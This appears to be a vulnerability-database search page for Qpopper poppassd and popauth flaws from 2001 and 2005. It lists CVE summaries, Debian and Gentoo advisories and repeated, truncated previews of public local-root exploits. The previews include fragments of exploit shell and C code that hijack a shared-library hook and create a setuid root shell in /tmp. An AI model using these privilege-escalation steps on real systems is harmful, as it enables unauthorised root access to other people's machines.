195 matches found
CVE-2005-3098
poppassd in Qualcomm qpopper 4.0.8 allows local users to modify arbitrary files and gain privileges via the -t trace file command line argument...
Qualcomm Qpopper poppassd Local Privilege Escalation
Binary data 3243.prm...
poppassd-lnx.sh.txt
!/bin/sh Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if -f /etc/ld.so.preload ; then echo...
Qpopper poppassd shared library privilege escalation
User can specify shared library path for suid application...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)
Exploit for bsd platform in category local exploits ======================================================== Qpopper program.c include include include void init if !geteuid remove"/etc/libmap.conf"; execl"/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL; EOF gcc -o...
Qpopper 4.0.8 (FreeBSD) - Local Privilege Escalation
Qpopper 4.0.8 FreeBSD - Local Privilege Escalation !/bin/sh FreeBSD Qpopper poppassd latest version local r00t exploit by kcope tested on FreeBSD 5.4-RELEASE POPPASSDPATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)
No description provided by source. !/bin/sh tested and working /str0ke Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"...
Qpopper 4.0.8 (Linux) - poppassd Local Privilege Escalation
Qpopper 4.0.8 Linux - poppassd Local Privilege Escalation !/bin/sh tested and working /str0ke Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local...
Qpopper 4.0.8 (FreeBSD) - Local Privilege Escalation
!/bin/sh FreeBSD Qpopper poppassd latest version local r00t exploit by kcope tested on FreeBSD 5.4-RELEASE POPPASSDPATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if -f /etc/libmap.conf...
Qpopper 4.0.8 (Linux) - 'poppassd' Local Privilege Escalation
!/bin/sh tested and working /str0ke Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if -f...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)
Exploit for linux platform in category local exploits ====================================================== Qpopper program.c include include include void init if !geteuid setgid0; setuid0; remove"/etc/ld.so.preload"; execl"/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL;...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)
No description provided by source. !/bin/sh FreeBSD Qpopper poppassd latest version local r00t exploit by kcope tested on FreeBSD 5.4-RELEASE POPPASSDPATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep ...
CVE-2001-1487
popauth utility in Qualcomm Qpopper 4.0 and earlier allows local users to overwrite arbitrary files and execute commands as the pop user via a symlink attack on the -trace file option...
CVE-2001-1487
CVE-2001-1487 affects Qualcomm Qpopper 4.0 and earlier. The popauth utility can be exploited via a symlink attack on the -trace option, allowing local users to overwrite arbitrary files and execute commands as the pop user. Impact is described as partial confidentiality, integrity, and availabili...
Debian DSA-728-2 : qpopper - missing privilege release
This advisory does only cover updated packages for Debian 3.0 alias woody. For reference below is the original advisory text : Two bugs have been discovered in qpopper, an enhanced Post Office Protocol POP3 server. The Common Vulnerabilities and Exposures project identifies the following problems...
GLSA-200505-17 : Qpopper: Multiple Vulnerabilities
The remote host is affected by the vulnerability described in GLSA-200505-17 Qpopper: Multiple Vulnerabilities Jens Steube discovered that Qpopper doesn't drop privileges to process local files from normal users CAN-2005-1151. The upstream developers discovered that Qpopper can be forced to creat...
[SECURITY] [DSA 728-2] New qpopper packages fix arbitrary file overwriting
-------------------------------------------------------------------------- Debian Security Advisory DSA 728-2 [email protected] http://www.debian.org/security/ Martin Schulze May 26th, 2005 http://www.debian.org/security/faq -...
[SECURITY] [DSA 728-2] New qpopper packages fix arbitrary file overwriting
-------------------------------------------------------------------------- Debian Security Advisory DSA 728-2 [email protected] http://www.debian.org/security/ Martin Schulze May 26th, 2005 http://www.debian.org/security/faq -...
qpopper -- multiple privilege escalation vulnerabilities
Jens Steube reports that qpopper is vulnerable to a privilege escalation vulnerability. qpopper does not properly drop root privileges so that user supplied configuration and trace files can be processed with root privileges. This could allow a local attacker to create or modify arbitrary files...
[SECURITY] [DSA 728-1] New qpopper packages fix arbitrary file overwriting
-------------------------------------------------------------------------- Debian Security Advisory DSA 728-1 [email protected] http://www.debian.org/security/ Martin Schulze May 25th, 2005 http://www.debian.org/security/faq -...